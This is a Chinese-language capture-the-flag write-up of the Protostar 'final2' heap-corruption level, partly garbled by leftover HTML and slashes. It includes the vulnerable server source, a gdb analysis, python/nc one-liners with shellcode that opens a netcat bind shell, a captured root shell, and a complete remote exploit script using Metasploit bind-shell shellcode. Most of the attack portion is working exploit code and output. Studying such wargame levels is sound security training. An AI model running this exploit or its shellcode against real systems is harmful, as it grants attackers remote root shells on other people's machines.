Core files will be in /tmp.<div style="margin-bottom: 10px; color: rgb(153, 153, 153); font-family:
.
Core files will be in /tmp.<div style="margin-bottom: 10px; color: rgb(153, 153, 153); font-family: "Droid Sans', sans-serif; font-size: 14px; line-height: 20px; background-color: rgb(18, 20, 23);">This level is at /opt/protostar/bin/final2<h2 style="margin: 10px 0px; font-family: "Droid Sans', sans-serif; font-weight: normal; line-height: 40px; color: rgb(255, 255, 255); text-rendering: optimizelegibility; font-size: 31.5px; background-color: rgb(18, 20, 23);">Source code
...#include "../common/common.c"#include "../common/malloc.c"
#define NAME "final2"
#define UID 0
#define GID 0
#define PORT 2993
#define REQSZ 128
void check_path(char *buf)
{
char *start;
char *p;
int l;
/*
* Work out old software bug
*/
p = rindex(buf, '/');
l = strlen(p);
if(p) {
start = strstr(buf, "ROOT");
if(start) {
while(*start != '/') start--;
memmove(start, p, l);
printf("moving from %p to %p (exploit: %s / %d)/n", p, start, start < buf ?
"yes" : "no", start - buf);
}
}
}
int get_requests(int fd)
{
char *buf;
char *destroylist[256];
int dll;
int i;
dll = 0;
while(1) {
if(dll >= 255) break;
buf = calloc(REQSZ, 1);
if(read(fd, buf, REQSZ) != REQSZ) break;
if(strncmp(buf, "FSRD", 4) != 0) break;
check_path(buf + 4);
dll++;
}
for(i = 0; i < dll; i++) {
write(fd, "Process OK/n", strlen("Process OK/n"));
free(destroylist[i]);
}
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
get_requests(fd);
}..
..Final2花了我不少时间,因为之前没有接触过“堆腐烂”这么高深的技术,最后找了本《缓冲区溢出***——检测、剖析与预防》补习才勉强知道dlmalloc是个什么货色。现简单讲下基本的东东:..在内存中堆的位置如下图:



..啰嗦了一大堆现开始进入正题。..通过分析题目可得在查找“/”时没有进行边界检查,而且从p开始的空余部分被复制到新的位置,另外程序规定处理每个字符串长度是128字节。我们需要利用这些来伪造出一个数据块....user@protostar:/opt/protostar/bin$ python -c "print 'FSRD'+'A'*123+'/' + 'FSRD'+'ROOT'+ 'A'*103 + '/' + '/xf8/xff/xff/xff'+'/xfc/xff/xff/xff'+'B'*4+'C'*4" | nc 127.0.0.1 2993..通过查看调试文件可以得到:....(gdb) i r edx
edx 0x43434343 1128481603
(gdb) i r eax
eax 0x42424242 1111638594..有点像heap3是不?..再看看“A"的位置在哪里:....(gdb) x/50x 0x0804e090
0x804e090: 0x0804d410 0x0804e098 0x41414141 0x41414141
0x804e0a0: 0x0804d410 0x41414141 0x41414141 0x41414141
0x804e0b0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0c0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0d0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0e0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0f0: 0x41414141 0x41414141 0x41414141 0x2f414141..
..这里我们选择覆盖write()的地址,write()的地址是:....user@protostar:/opt/protostar/bin$ objdump -R ./final2 | grep write
0804d41c R_386_JUMP_SLOT write
0804d468 R_386_JUMP_SLOT fwrite..
..现需要将A的内容变成shellcode,将A的地址覆盖到write()的位置上去,然后就能够执行shellcode了。..因此生成的payload应该是这样的..[FSRD+'A'*123+/]+[FSRD+ROOT+NOP+shellcode+<span style="background-color: rgb(255, 255, 255); color: rgb(51, 51, 51); font-family: "Helvetica Neue Light', HelveticaNeue-Light, 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px;">'/x10/xd4/x04/x08' + '/x98/xe0/x04/x08']..如下:....user@protostar:/opt/protostar/bin$ python -c "print 'FSRD'+'A'*123+'/' + 'FSRD'+'ROOT'+ '/x90'*44 + '/x31/xc0/x50/x68/x6e/x2f/x6e/x63/x68/x2f/x2f/x62/x69/x89/xe3/x50/x68/x36/x36/x36/x36/x68/x2d/x6c/x74/x70/x89/xe2/x50/x68/x6e/x2f/x73/x68/x68/x2f/x2f/x62/x69/x66/x68/x2d/x65/x89/xe1/x50/x51/x52/x53/x89/xe6/xb0/x0b/x89/xf1/x31/xd2/xcd/x80' + '/' + '/xf8/xff/xff/xff'+'/xfc/xff/xff/xff' + '/x10/xd4/x04/x08'+'/x98/xe0/x04/x08'" | nc 127.0.0.1 2993
Process OK..远程连接测试:....D:/>nc 192.168.0.71 6666
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
exit..OK!..同样,写一份远程EXP,Python脚本如下:....#!/usr/bin/env python
from socket import *
from struct import *
from optparse import OptionParser
def exploit(host, port):
# linux/x86/shell_bind_tcp - 78 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependChrootBreak=false, AppendExit=false,
# InitialAutoRunScript=, AutoRunScript=
shellcode = "/x31/xdb/xf7/xe3/x53/x43/x53/x6a/x02/x89/xe1/xb0/x66/xcd/x80" /
"/x5b/x5e/x52/x68/xff/x02/x11/x5c/x6a/x10/x51/x50/x89/xe1/x6a" /
"/x66/x58/xcd/x80/x89/x41/x04/xb3/x04/xb0/x66/xcd/x80/x43/xb0" /
"/x66/xcd/x80/x93/x59/x6a/x3f/x58/xcd/x80/x49/x79/xf8/x68/x2f" /
"/x2f/x73/x68/x68/x2f/x62/x69/x6e/x89/xe3/x50/x53/x89/xe1/xb0" /
"/x0b/xcd/x80"
# Open the connection
s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
req_size = 128
HDR = 'FSRD'
NOP = '/x90'
free_payload = '/' + '/xf8/xff/xff/xff' + '/xfc/xff/xff/xff'
free_payload += '/x10/xd4/x04/x08' + '/x98/xe0/x04/x08'
first_req = HDR + 'A'* (req_size - len(HDR) - 1) + '/'
second_req = HDR + 'ROOT'
second_req += NOP * (req_size - len(HDR) - 4 - len(shellcode) - len(free_payload))
second_req += shellcode
second_req += free_payload
s.send(first_req+second_req)
s.close
print("[*] Exploit successfull! Now launch: nc " + str(host) + " 4444")
if __name__ == "__main__":
parser = OptionParser("usage: %prog [options]")
parser.add_option("-H", "--host", dest="hostname", default="127.0.0.1", type="string", help="Target to exploit")
parser.add_option("-p", "--port", dest="portnum", default=2993, type="int", help="Target port")
(options, args) = parser.parse_args()
exploit(options.hostname, options.portnum)
..
..
..
..